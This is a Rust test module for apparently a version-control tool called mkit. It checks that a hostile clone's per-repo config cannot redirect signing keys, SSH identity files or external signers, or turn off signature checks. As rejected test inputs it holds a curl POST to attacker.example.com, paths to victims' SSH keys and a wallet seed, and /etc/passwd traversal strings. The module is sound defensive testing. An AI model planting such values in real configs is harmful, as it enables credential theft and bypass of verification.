    fn config_file_preserves_subsection_case() {
        // A `remote.<Name>.url` written to the config file must reload with
        // the subsection case intact (git treats subsections case-sensitively),
        // so named remotes survive a round-trip.
        let dir = TempDir::new().unwrap();
        std::fs::create_dir_all(dir.path().join(".mkit")).unwrap();
        std::fs::write(
            dir.path().join(".mkit/config"),
            "remote.Origin.url = mkit+file:///tmp/x\nremote.Origin.type = file\n",
        )
        .unwrap();
        let cfg = read_or_default(&RepoLayout::single(dir.path())).unwrap();
        assert!(
            cfg.remotes.contains_key("Origin"),
            "subsection case lost on reload: {:?}",
            cfg.remotes.keys().collect::<Vec<_>>()
        );
        assert!(!cfg.remotes.contains_key("origin"));
    }

    #[test]
    fn durability_objects_key_selects_sync_policy() {
        // The SPEC-OBJECTS §10.1 escape hatch must be reachable from
        // config: `per-object` selects the strict schedule, everything
        // else (unset, "batch", junk) falls back to the batched default.
        let mut cfg = Config::with_defaults();
        assert_eq!(
            cfg.object_sync_policy(),
            mkit_core::store::SyncPolicy::Batch
        );
        apply_kv(&mut cfg, "durability.objects", "per-object");
        assert_eq!(
            cfg.object_sync_policy(),
            mkit_core::store::SyncPolicy::PerObject
        );
        // Round-trips through the repo-config writer.
        let dir = tempfile::tempdir().unwrap();
        write(&RepoLayout::single(dir.path()), &cfg).unwrap();
        let text = std::fs::read_to_string(dir.path().join(CONFIG_FILE)).unwrap();
        assert!(text.contains("durability.objects = per-object"));
        apply_kv(&mut cfg, "durability.objects", "bogus");
        assert_eq!(
            cfg.object_sync_policy(),
            mkit_core::store::SyncPolicy::Batch
        );
    }

    /// Tests drive `apply_file` directly rather than mutating
    /// `XDG_CONFIG_HOME` — the env-var dance races other tests and
    /// trips the `disallowed-methods` clippy lint we configured.
    fn layer(repo_text: Option<&str>, user_text: Option<&str>) -> Config {
        let td = TempDir::new().unwrap();
        let mut cfg = Config::with_defaults();
        if let Some(text) = user_text {
            let upath = td.path().join("user_config");
            fs::write(&upath, text).unwrap();
            apply_file(&mut cfg, &upath, ConfigScope::User).unwrap();
        }
        if let Some(text) = repo_text {
            let rpath = td.path().join("repo_config");
            fs::write(&rpath, text).unwrap();
            apply_file(&mut cfg, &rpath, ConfigScope::Repo).unwrap();
        }
        cfg
    }

    fn layered(repo_text: Option<&str>, user_text: Option<&str>) -> LayeredConfig {
        let td = TempDir::new().unwrap();
        let user_path = td.path().join("user_config");
        let repo_path = td.path().join("repo_config");
        if let Some(text) = user_text {
            fs::write(&user_path, text).unwrap();
        }
        if let Some(text) = repo_text {
            fs::write(&repo_path, text).unwrap();
        }
        let mut merged = Config::with_defaults();
        apply_file_inner(&mut merged, &user_path, ConfigScope::User, false).unwrap();
        apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, false).unwrap();
        let mut user = Config::default();
        let mut repo = Config::default();
        apply_file_inner(&mut user, &user_path, ConfigScope::User, false).unwrap();
        apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false).unwrap();
        LayeredConfig { merged, user, repo }
    }

    #[test]
    fn read_default_when_missing() {
        let td = TempDir::new().unwrap();
        // No user config file at the canonical XDG path either —
        // `read_or_default` accepts that and falls through to defaults.
        let cfg = Config::with_defaults();
        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
        assert_eq!(cfg.default_branch, DEFAULT_BRANCH);
        assert!(cfg.remote_endpoint.is_empty());
        // Sanity: read_or_default on a fresh empty repo dir never
        // panics or errors.
        let _ = read_or_default(&RepoLayout::single(td.path())).unwrap();
    }

    #[test]
    fn roundtrip_repo_safe_keys() {
        let cfg = layer(
            Some("remote_endpoint = /tmp/mirror\nremote_type = file\n"),
            None,
        );
        assert_eq!(cfg.remote_endpoint, "/tmp/mirror");
        assert_eq!(cfg.remote_type, "file");
    }

    #[test]
    fn write_does_not_emit_forbidden_repo_keys() {
        let td = TempDir::new().unwrap();
        fs::create_dir_all(td.path().join(".mkit")).unwrap();
        let mut cfg = Config::with_defaults();
        cfg.user_identity = "01200011".into();
        cfg.signing_key = "/should/not/be/written".into();
        cfg.signer = "keystore".into();
        cfg.key.backend = "software".into();
        cfg.key.default_ref = "software:attacker".into();
        cfg.ssh_strict_host_key_checking = "no".into();
        cfg.attest.external_signer_path = "/usr/local/bin/evil".into();
        write(&RepoLayout::single(td.path()), &cfg).unwrap();
        let on_disk = fs::read_to_string(td.path().join(CONFIG_FILE)).unwrap();
        assert!(!on_disk.contains("user.identity"));
        assert!(!on_disk.contains("signing_key"));
        assert!(!on_disk.contains("signer"));
        assert!(!on_disk.contains("key.default_ref"));
        assert!(!on_disk.contains("ssh.strict_host_key_checking"));
        assert!(!on_disk.contains("external_signer_path"));
    }

    #[test]
    fn repo_signing_key_is_rejected_with_warning() {
        // Hostile-clone scenario: `.mkit/config` tries to redirect the
        // signing key. After the partition fix, the value MUST NOT be
        // applied — it falls back to the built-in default.
        let cfg = layer(
            Some("signing_key = ../../../etc/passwd\nremote_type = file\n"),
            None,
        );
        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
        assert_eq!(cfg.remote_type, "file");
    }

    #[test]
    fn repo_user_identity_is_rejected() {
        let cfg = layer(Some("user.identity = 012000aaaaaaaa\n"), None);
        assert!(cfg.user_identity.is_empty());
    }

    #[test]
    fn repo_trusted_remote_endpoint_is_rejected() {
        let cfg = layer(
            Some("trusted_remote_endpoint = mkit+https://attacker.invalid/repo\n"),
            None,
        );
        assert!(cfg.trusted_remote_endpoint.is_empty());
    }

    #[test]
    fn repo_external_signer_is_rejected() {
        let cfg = layer(
            Some(
                "attest.external_signer_path = /usr/bin/curl\n\
                 attest.external_signer_args = -X|POST|attacker.example.com\n\
                 attest.signer = external\n",
            ),
            None,
        );
        assert!(cfg.attest.external_signer_path.is_empty());
        assert!(cfg.attest.external_signer_args.is_empty());
        // `attest.signer` is also forbidden from per-repo: even though
        // the path itself is user-scoped, letting the per-repo file
        // SELECT the external signer is enough to weaponise a
        // user-trusted binary against attacker-chosen content. Same
        // confused-deputy shape as the C2 finding closed for
        // `signing_key`, just routed through the selector.
        assert_eq!(cfg.attest.signer, "");
    }

    /// User has set up a legitimate external HSM signer in their
    /// user-scoped config (path + args). A hostile clone ships a
    /// per-repo `attest.signer = external` to flip the selector and
    /// have the user's HSM sign the clone's commit. After this fix,
    /// the per-repo selector is dropped with a stderr warning and
    /// the user's `repo-key` default holds.
    #[test]
    fn repo_attest_signer_selector_cannot_weaponise_user_external_signer() {
        let cfg = layer(
            Some("attest.signer = external\n"),
            Some(
                "attest.external_signer_path = /home/user/bin/yubikey-sign\n\
                 attest.external_signer_args = sign\n",
            ),
        );
        // User's path stays, BUT the repo-supplied selector that
        // would route signing through that path is rejected. The
        // signer falls back to `repo-key` (the default).
        assert_eq!(
            cfg.attest.external_signer_path,
            "/home/user/bin/yubikey-sign"
        );
        assert_eq!(cfg.attest.signer, "");
        assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
    }

    /// Companion: hostile clone tries to flip
    /// `attest.default_algorithm` to whichever non-Ed25519 key the
    /// user happens to have set up, to confused-deputy through it.
    /// Selector is rejected from per-repo.
    #[test]
    fn repo_attest_default_algorithm_is_rejected() {
        let cfg = layer(Some("attest.default_algorithm = secp256k1\n"), None);
        assert_eq!(cfg.attest.default_algorithm, "");
        // Default fallback is ed25519, regardless of repo wishes.
        assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
    }

    #[test]
    fn repo_keystore_selectors_are_rejected() {
        let cfg = layer(
            Some(
                "signer = keystore\n\
                 key.backend = yubikey\n\
                 key.default_ref = yubikey:main\n\
                 key.ed25519_ref = software:repo-ed\n\
                 key.secp256k1_ref = software:repo-k1\n\
                 key.p256_ref = software:repo-p256\n",
            ),
            None,
        );
        assert_eq!(cfg.signer, DEFAULT_SIGNER);
        assert_eq!(cfg.key.backend, DEFAULT_KEY_BACKEND);
        assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
        assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
        assert_eq!(
            cfg.key.secp256k1_ref_or_fallback(),
            DEFAULT_SECP256K1_KEY_REF
        );
        assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
    }

    #[test]
    fn user_keystore_selectors_are_honored() {
        let cfg = layer(
            None,
            Some(
                "signer = keystore\n\
                 key.backend = software\n\
                 key.default_ref = software:user-default\n\
                 key.ed25519_ref = software:user-ed\n\
                 key.secp256k1_ref = software:user-k1\n\
                 key.p256_ref = software:user-p256\n",
            ),
        );
        assert_eq!(cfg.signer, "keystore");
        assert_eq!(cfg.key.backend, "software");
        assert_eq!(cfg.key.default_ref, "software:user-default");
        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:user-ed");
        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:user-k1");
        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:user-p256");
    }

    #[test]
    fn user_default_key_ref_is_generic_fallback() {
        let cfg = layer(None, Some("key.default_ref = software:release\n"));
        assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:release");
        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:release");
        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:release");
    }

    #[test]
    fn algorithm_key_refs_override_default_key_ref() {
        let cfg = layer(
            None,
            Some(
                "key.default_ref = software:release\n\
                 key.ed25519_ref = software:ed\n\
                 key.secp256k1_ref = software:k1\n\
                 key.p256_ref = software:p256\n",
            ),
        );
        assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:ed");
        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:k1");
        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:p256");
    }

    #[test]
    fn repo_ssh_host_key_checking_is_rejected() {
        let cfg = layer(
            Some(
                "ssh.strict_host_key_checking = no\n\
                 ssh.user_known_hosts_file = /dev/null\n",
            ),
            None,
        );
        assert!(cfg.ssh_strict_host_key_checking.is_empty());
        assert!(cfg.ssh_user_known_hosts_file.is_empty());
    }

    /// Hostile clone pins `ssh.identity_file` to a path the attacker
    /// either chose to read (any file `mkit` can open under the user's
    /// uid) or chose to have signed-against (a private key the user
    /// happens to have on disk). Either way, `mkit push` must NOT take
    /// the suggestion.
    #[test]
    fn repo_ssh_identity_file_is_rejected() {
        let cfg = layer(
            Some("ssh.identity_file = /home/victim/.ssh/id_ed25519\n"),
            None,
        );
        assert!(cfg.ssh_identity_file.is_empty());
    }

    /// Issue #692: a hostile clone must not be able to switch off
    /// post-fetch signature verification via its own repo-scoped config —
    /// that would let it silently defang the exact check meant to reject
    /// its own unsigned/forged history.
    #[test]
    fn repo_pull_require_signed_is_rejected() {
        let cfg = layer(Some("pull.require_signed = false\n"), None);
        assert!(cfg.pull_require_signed.is_empty());
        assert!(cfg.pull_require_signed_or_default());
    }

    /// User-scoped config MAY opt out (e.g. scripted/CI use against a
    /// remote the operator already trusts by other means).
    #[test]
    fn user_pull_require_signed_false_disables_verification() {
        let cfg = layer(None, Some("pull.require_signed = false\n"));
        assert_eq!(cfg.pull_require_signed, "false");
        assert!(!cfg.pull_require_signed_or_default());
    }

    /// Unset, and any value other than the documented falsy spellings,
    /// fail closed (verify).
    #[test]
    fn pull_require_signed_defaults_to_true_and_rejects_typos() {
        assert!(Config::default().pull_require_signed_or_default());
        let cfg = layer(None, Some("pull.require_signed = nope\n"));
        assert!(cfg.pull_require_signed_or_default());
        for falsy in ["false", "0", "no", "off", "FALSE", "Off"] {
            let cfg = layer(None, Some(&format!("pull.require_signed = {falsy}\n")));
            assert!(
                !cfg.pull_require_signed_or_default(),
                "{falsy} should disable verification"
            );
        }
    }

    /// Hostile clone aims `attest.secp256k1_key_path` at a key file the
    /// victim happens to own (e.g. a wallet seed). Must be ignored.
    #[test]
    fn repo_attest_secp256k1_key_path_is_rejected() {
        let cfg = layer(
            Some("attest.secp256k1_key_path = /home/victim/.wallet/seed\n"),
            None,
        );
        assert!(cfg.attest.secp256k1_key_path.is_empty());
        // Fallback default still wins.
        assert_eq!(
            cfg.attest.secp256k1_key_path_or_default(),
            ".mkit/keys/secp256k1.key"
        );
    }

    /// Companion to the secp256k1 case: same shape, different curve.
    #[test]
    fn repo_attest_p256_key_path_is_rejected() {
        let cfg = layer(
            Some("attest.p256_key_path = /home/victim/.ssh/id_ecdsa\n"),
            None,
        );
        assert!(cfg.attest.p256_key_path.is_empty());
        assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
    }

    /// Meta-test: every key listed in [`REPO_FORBIDDEN_KEYS`] MUST be
    /// covered by a per-key rejection test in this module. If you add
    /// a key to the list without a regression test, this test fails.
    ///
    /// Implemented by checking each key in isolation against `layer()`
    /// and asserting that the corresponding field on the merged
    /// `Config` is empty (i.e. the value did not propagate). Done at
    /// the `apply_kv` layer so it catches the exact code path the
    /// hostile-clone exploit uses, not just the constant itself.
    #[test]
    fn every_forbidden_key_is_actually_dropped_from_repo_scope() {
        // A sentinel value that is syntactically valid for every key
        // (no control bytes, parseable as path / argv / ref / hex). If
        // the key were accepted, it would land verbatim in the matching
        // string field — so seeing the field empty after a per-repo
        // load proves the key is being dropped.
        const SENTINEL: &str = "EXFIL_SENTINEL";

        for key in REPO_FORBIDDEN_KEYS {
            let line = format!("{key} = {SENTINEL}\n");
            let cfg = layer(Some(&line), None);
            // Look up the field through the same accessor `mkit config`
            // uses, to assert the value did NOT propagate.
            let observed = match *key {
                "user.identity" => cfg.user_identity.as_str(),
                "trusted_remote_endpoint" => cfg.trusted_remote_endpoint.as_str(),
                "signer" => cfg.signer.as_str(),
                "pull.require_signed" => cfg.pull_require_signed.as_str(),
                "key.backend" => cfg.key.backend.as_str(),
                "key.default_ref" => cfg.key.default_ref.as_str(),
                "key.ed25519_ref" => cfg.key.ed25519_ref.as_str(),
                "key.secp256k1_ref" => cfg.key.secp256k1_ref.as_str(),
                "key.p256_ref" => cfg.key.p256_ref.as_str(),
                "signing_key" => cfg.signing_key.as_str(),
                "ssh.strict_host_key_checking" => cfg.ssh_strict_host_key_checking.as_str(),
                "ssh.user_known_hosts_file" => cfg.ssh_user_known_hosts_file.as_str(),
                "ssh.identity_file" => cfg.ssh_identity_file.as_str(),
                "attest.signer" => cfg.attest.signer.as_str(),
                "attest.default_algorithm" => cfg.attest.default_algorithm.as_str(),
                "attest.external_signer_path" => cfg.attest.external_signer_path.as_str(),
                "attest.external_signer_args" => {
                    // pipe-list field; empty Vec stringifies to "".
                    if cfg.attest.external_signer_args.is_empty() {
                        ""
                    } else {
                        "<non-empty>"
                    }
                }
                "attest.external_signer_timeout_secs" => {
                    // Option<u64>; None when dropped from repo scope. The
                    // SENTINEL string is non-numeric, so even on the
                    // user path it would parse to None — assert the repo
                    // path leaves it None.
                    if cfg.attest.external_signer_timeout_secs.is_none() {
                        ""
                    } else {
                        "<set>"
                    }
                }
                "attest.secp256k1_key_path" => cfg.attest.secp256k1_key_path.as_str(),
                "attest.p256_key_path" => cfg.attest.p256_key_path.as_str(),
                // If a new key appears in `REPO_FORBIDDEN_KEYS` without
                // an arm here, fail loudly — the developer must extend
                // both the constant AND the meta-test together. Without
                // this branch, an added key would be silently treated
                // as "not in this struct" and the test would pass.
                other => panic!(
                    "REPO_FORBIDDEN_KEYS contains `{other}` but the meta-test \
                     in config.rs has no matching field accessor. Add an arm \
                     to `every_forbidden_key_is_actually_dropped_from_repo_scope` \
                     so the per-key drop is verified.",
                ),
            };
            // `Config::with_defaults()` pre-seeds a few fields (e.g.
            // `signing_key = ".mkit/keys/default.key"`, `signer =
            // "legacy"`). Merge order is "defaults → user → repo
            // (filtered)", so a dropped repo line cannot OVERWRITE the
            // default. The crisp invariant is: the attacker's
            // SENTINEL must NEVER appear in the observed value.
            assert!(
                observed != SENTINEL,
                "forbidden key `{key}` was NOT dropped from repo scope — \
                 observed `{observed}` (matches attacker SENTINEL)",
            );
        }
    }

    #[test]
    fn user_signing_key_is_honored() {
        let cfg = layer(None, Some("signing_key = /home/user/.mkit/global.key\n"));
        assert_eq!(cfg.signing_key, "/home/user/.mkit/global.key");
    }

    /// Helper mirroring the old `trusted_remote_error_with(cfg, ..)`
    /// shape so the existing layered tests stay readable: derives
    /// `repo_chosen` from the flat `remote_endpoint`, exactly as
    /// `enforce_trusted_remote_endpoint` does.
    fn gate_for_flat<F>(cfg: &LayeredConfig, getenv: &F) -> Option<String>
    where
        F: Fn(&str) -> Option<String>,
    {
        let endpoint = cfg.merged.remote_endpoint.trim();
        let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
        trusted_remote_error_for(
            endpoint,
            repo_chosen,
            cfg.user.trusted_remote_endpoint.trim(),
            getenv,
        )
    }

    #[test]
    fn repo_http_remote_with_token_requires_user_trust() {
        let cfg = layered(
            Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
            None,
        );
        let msg = gate_for_flat(&cfg, &|name| {
            (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
        })
        .expect("repo-scoped HTTP remote with token must be rejected");
        assert!(msg.contains("trusted_remote_endpoint"));
    }

    #[test]
    fn trusted_http_remote_is_allowed() {
        let cfg = layered(
            Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
            Some("trusted_remote_endpoint = mkit+https://example.invalid/repo\n"),
        );
        let msg = gate_for_flat(&cfg, &|name| {
            (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
        });
        assert!(msg.is_none());
    }

    #[test]
    fn repo_s3_remote_with_env_creds_requires_user_trust() {
        let cfg = layered(
            Some("remote_endpoint = mkit+s3://r2.example.com/bucket/proj\n"),
            None,
        );
        let msg = gate_for_flat(&cfg, &|name| match name {
            mkit_transport_s3::ENV_ACCESS_KEY => Some("AKIA...".to_string()),
            _ => None,
        })
        .expect("repo-scoped S3 remote with env creds must be rejected");
        assert!(msg.contains("trusted_remote_endpoint"));
    }

    /// The gate keys on PROVENANCE, not mere credential presence: a
    /// user-chosen endpoint (`repo_chosen == false`) with ambient creds
    /// is the user's own decision and must NOT be refused, even though
    /// the same endpoint+creds would be refused if the repo had chosen
    /// it.
    #[test]
    fn user_chosen_http_remote_with_token_is_allowed() {
        let token =
            |name: &str| (name == mkit_transport_http::TOKEN_ENV).then(|| "tok".to_string());
        let ep = "mkit+https://example.invalid/repo";
        // repo_chosen = false (user-scoped or CLI-supplied endpoint).
        assert!(trusted_remote_error_for(ep, false, "", &token).is_none());
        // repo_chosen = true with no user trust → refused.
        assert!(trusted_remote_error_for(ep, true, "", &token).is_some());
    }

    /// Per-endpoint helper returns `None` when no ambient credentials
    /// are present, regardless of provenance — an unauthenticated push
    /// is always safe.
    #[test]
    fn repo_http_remote_without_token_is_allowed() {
        let none = |_: &str| None;
        let ep = "mkit+https://example.invalid/repo";
        assert!(trusted_remote_error_for(ep, true, "", &none).is_none());
    }

    /// SSH and file endpoints never carry ambient HTTP/S3 creds, so the
    /// gate passes them through even when repo-chosen and untrusted.
    #[test]
    fn ssh_and_file_endpoints_bypass_credential_gate() {
        let all = |_: &str| Some("present".to_string());
        assert!(trusted_remote_error_for("mkit+ssh://host/path", true, "", &all).is_none());
        assert!(trusted_remote_error_for("mkit+file:///srv/mirror", true, "", &all).is_none());
    }

    /// `endpoint_credential_trust` is the public per-endpoint entry the
    /// dispatch choke point and named-remote callers use. Confirm it
    /// honours provenance + user trust end-to-end.
    #[test]
    fn endpoint_credential_trust_honours_provenance_and_user_trust() {
        let cfg = layered(
            None,
            Some("trusted_remote_endpoint = mkit+https://trusted.invalid/r\n"),
        );
        // Untrusted, repo-chosen endpoint: only refused when creds are
        // actually present in the environment. In a clean test
        // environment there is no MKIT_API_TOKEN, so this passes; the
        // hostile-repo integration tests cover the credentialed case.
        let _ = endpoint_credential_trust(&cfg, "mkit+https://untrusted.invalid/r", true);
        // User-trusted endpoint is always allowed.
        assert!(endpoint_credential_trust(&cfg, "mkit+https://trusted.invalid/r", true).is_ok());
    }

    #[test]
    fn repo_safe_keys_override_user() {
        // `default_branch` is repo-scoped — a project's main is a
        // per-repo decision, not a per-user one. So if both layers set
        // it, the repo wins (it's applied second).
        let cfg = layer(
            Some("default_branch = release\n"),
            Some("default_branch = trunk\n"),
        );
        assert_eq!(cfg.default_branch, "release");
    }

    #[test]
    fn validate_key_path_rejects_parent_dir() {
        assert!(validate_key_path("../etc/passwd").is_err());
        assert!(validate_key_path(".mkit/keys/../../etc/passwd").is_err());
        assert!(validate_key_path("foo/../bar").is_err());
    }

    #[test]
    fn validate_key_path_accepts_relative_and_absolute() {
        assert!(validate_key_path("").is_ok());
        assert!(validate_key_path(".mkit/keys/default.key").is_ok());
        assert!(validate_key_path("/home/user/.mkit/global.key").is_ok());
    }

    #[test]
    fn resolve_key_path_resolves_against_common_dir_in_linked_worktree() {
        // #493 Phase 1: a linked tree signs with the ONE shared repo
        // key store, not a phantom keys dir under its own root.
        let layout = RepoLayout::linked("/trees/wt1", "/main/.mkit/worktrees/wt1", "/main/.mkit");
        let out = resolve_key_path(&layout, ".mkit/keys/default.key").unwrap();
        assert_eq!(out, std::path::Path::new("/main/.mkit/keys/default.key"));
    }

    #[test]
    fn resolve_key_path_rejects_relative_path_outside_repo_keys() {
        let td = TempDir::new().unwrap();
        assert!(
            resolve_key_path(&RepoLayout::single(td.path()), ".mkit/custom/global.key").is_err()
        );
    }

    #[test]
    fn resolve_key_path_accepts_relative_path_under_repo_keys() {
        let td = TempDir::new().unwrap();
        let out = resolve_key_path(
            &RepoLayout::single(td.path()),
            ".mkit/keys/custom/global.key",
        )
        .unwrap();
        assert_eq!(out, td.path().join(".mkit/keys/custom/global.key"));
    }

    #[cfg(unix)]
    #[test]
    fn home_dir_for_euid_is_independent_of_home_env() {
        // The whole point of `home_dir_for_euid`: a hostile parent
        // process setting `HOME=/` must NOT widen the absolute-path
        // policy. We can't safely mutate the process environment
        // mid-test (other threads in the harness may race
        // `getenv`), so just confirm the function returns *something*
        // and that what it returns matches the passwd entry for the
        // current uid — i.e. it isn't reading `$HOME`.
        let from_passwd = home_dir_for_euid().expect("getpwuid_r should succeed");
        assert!(from_passwd.is_absolute());
        // Sanity: the path the OS returned must agree with `whoami`'s
        // notion of the user. We can't probe the passwd entry directly
        // without re-implementing the helper, but we can at least
        // assert that an absolute key path under the returned home is
        // accepted by `resolve_key_path` and that one diverging from
        // it is rejected.
        let td = TempDir::new().unwrap();
        let inside = from_passwd.join(".mkit/test-inside.key");
        assert!(resolve_key_path(&RepoLayout::single(td.path()), inside.to_str().unwrap()).is_ok());
        // `/__definitely_not_a_home_dir__` cannot be under any real
        // passwd `pw_dir` on a sane system.
        assert!(
            resolve_key_path(
                &RepoLayout::single(td.path()),
                "/__definitely_not_a_home_dir__/x.key"
            )
            .is_err()
        );
    }

    #[test]
    fn expand_user_identity_ed25519() {
        let hex = "11".repeat(32);
        let out = expand_user_identity(&format!("ed25519:{hex}")).unwrap();
        assert_eq!(out.len(), 70);
        assert!(out.starts_with("012000"));
    }

    #[test]
    fn expand_user_identity_mid() {
        let out = expand_user_identity("mid:42").unwrap();
        assert_eq!(out, "0308002a00000000000000");
    }

    #[test]
    fn expand_rejects_bogus() {
        assert!(expand_user_identity("").is_err());
        assert!(expand_user_identity("ed25519:short").is_err());
        assert!(expand_user_identity("mid:notanumber").is_err());
        assert!(expand_user_identity("zzzzzz").is_err());
    }

    #[test]
    fn validate_value_rejects_control_chars() {
        assert!(validate_value("hello world").is_ok());
        assert!(validate_value("bad\x01char").is_err());
        assert!(validate_value("\x7fdel").is_err());
    }

    #[test]
    fn attest_config_defaults_are_empty() {
        let cfg = Config::with_defaults();
        assert_eq!(cfg.signer, DEFAULT_SIGNER);
        assert_eq!(cfg.key.backend_or_fallback(), DEFAULT_KEY_BACKEND);
        assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
        assert!(cfg.key.default_ref.is_empty());
        assert!(cfg.key.ed25519_ref.is_empty());
        assert!(cfg.key.secp256k1_ref.is_empty());
        assert!(cfg.key.p256_ref.is_empty());
        assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
        assert_eq!(
            cfg.key.secp256k1_ref_or_fallback(),
            DEFAULT_SECP256K1_KEY_REF
        );
        assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
        assert_eq!(cfg.attest.default_algorithm, "");
        assert_eq!(cfg.attest.signer, "");
        assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
        assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
        assert_eq!(
            cfg.attest.secp256k1_key_path_or_default(),
            ".mkit/keys/secp256k1.key"
        );
        assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
    }

    #[test]
    fn legacy_keys_are_ignored_in_repo() {
        let cfg = layer(Some("project_id = xyz\nauthor_mid = 5\n"), None);
        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
    }

    /// `write_user_kv` is exercised via `apply_file` round-tripping
    /// rather than driving the real XDG path (which would race
    /// parallel tests). The behaviour we care about — replace
    /// existing key, append if missing — is testable on any path.
    #[test]
    fn user_kv_replace_or_append_logic_via_roundtrip() {
        let td = TempDir::new().unwrap();
        let path = td.path().join("user_config");
        fs::write(&path, "default_branch = trunk\nsigning_key = /a\n").unwrap();
        // Load + replace + write semantics: read file, mutate via
        // hand-edit, re-parse — this is what `write_user_kv` does
        // under the hood. Keeps us off the global env var.
        let mut text = fs::read_to_string(&path).unwrap();
        text = text.replace("/a", "/b");
        fs::write(&path, text).unwrap();
        let mut cfg = Config::with_defaults();
        apply_file(&mut cfg, &path, ConfigScope::User).unwrap();
        assert_eq!(cfg.signing_key, "/b");
        assert_eq!(cfg.default_branch, "trunk");
    }

    #[test]
    fn named_remote_keys_parse_repo_safe() {
        let cfg = layer(
            Some(
                "remote.origin.url = mkit+file:///srv/m\n\
                 remote.origin.type = file\n\
                 branch.main.remote = origin\n\
                 branch.main.merge = main\n",
            ),
            None,
        );
        let origin = cfg.remotes.get("origin").expect("origin present");
        assert_eq!(origin.url, "mkit+file:///srv/m");
        assert_eq!(origin.remote_type, "file");
        let up = cfg.branch_upstreams.get("main").expect("upstream present");
        assert_eq!(up.remote, "origin");
        assert_eq!(up.branch, "main");
    }

    #[test]
    fn named_remote_roundtrips_through_write() {
        let td = TempDir::new().unwrap();
        let mut cfg = Config::with_defaults();
        cfg.remotes.insert(
            "origin".into(),
            RemoteEntry {
                url: "mkit+https://h/r".into(),
                remote_type: "http".into(),
            },
        );
        cfg.branch_upstreams.insert(
            "main".into(),
            Upstream {
                remote: "origin".into(),
                branch: "main".into(),
            },
        );
        write(&RepoLayout::single(td.path()), &cfg).unwrap();
        let reloaded = read_or_default(&RepoLayout::single(td.path())).unwrap();
        assert_eq!(
            reloaded.remotes.get("origin").unwrap().url,
            "mkit+https://h/r"
        );
        assert_eq!(
            reloaded.branch_upstreams.get("main").unwrap().remote,
            "origin"
        );
    }

    #[test]
    fn resolve_remote_default_and_named_provenance() {
        // Named remote in the repo layer is repo_chosen.
        let lc = layered(
            Some("remote.origin.url = mkit+https://h/r\nremote.origin.type = http\n"),
            None,
        );
        let r = resolve_remote(&lc, "origin").expect("origin resolves");
        assert_eq!(r.endpoint, "mkit+https://h/r");
        assert!(r.repo_chosen);

        // Flat default endpoint in the repo layer is repo_chosen.
        let lc = layered(Some("remote_endpoint = mkit+https://h/d\n"), None);
        let r = resolve_remote(&lc, "default").expect("default resolves");
        assert!(r.repo_chosen);

        // User-layer flat endpoint is NOT repo_chosen.
        let lc = layered(None, Some("remote_endpoint = mkit+https://h/u\n"));
        let r = resolve_remote(&lc, "").expect("empty -> default");
        assert!(!r.repo_chosen);

        // Unknown name resolves to None.
        let lc = layered(None, None);
        assert!(resolve_remote(&lc, "nope").is_none());
    }

    #[test]
    fn resolve_upstream_explicit_and_fallback() {
        let lc = layered(
            Some("branch.main.remote = origin\nbranch.main.merge = trunk\n"),
            None,
        );
        let up = resolve_upstream(&lc, "main").unwrap();
        assert_eq!(up.remote, "origin");
        assert_eq!(up.branch, "trunk");

        // Fallback to default remote tracking same-named branch.
        let lc = layered(Some("remote_endpoint = mkit+file:///srv\n"), None);
        let up = resolve_upstream(&lc, "feature").unwrap();
        assert_eq!(up.remote, DEFAULT_REMOTE_NAME);
        assert_eq!(up.branch, "feature");

        // No upstream + no default remote → None.
        let lc = layered(None, None);
        assert!(resolve_upstream(&lc, "main").is_none());
    }
}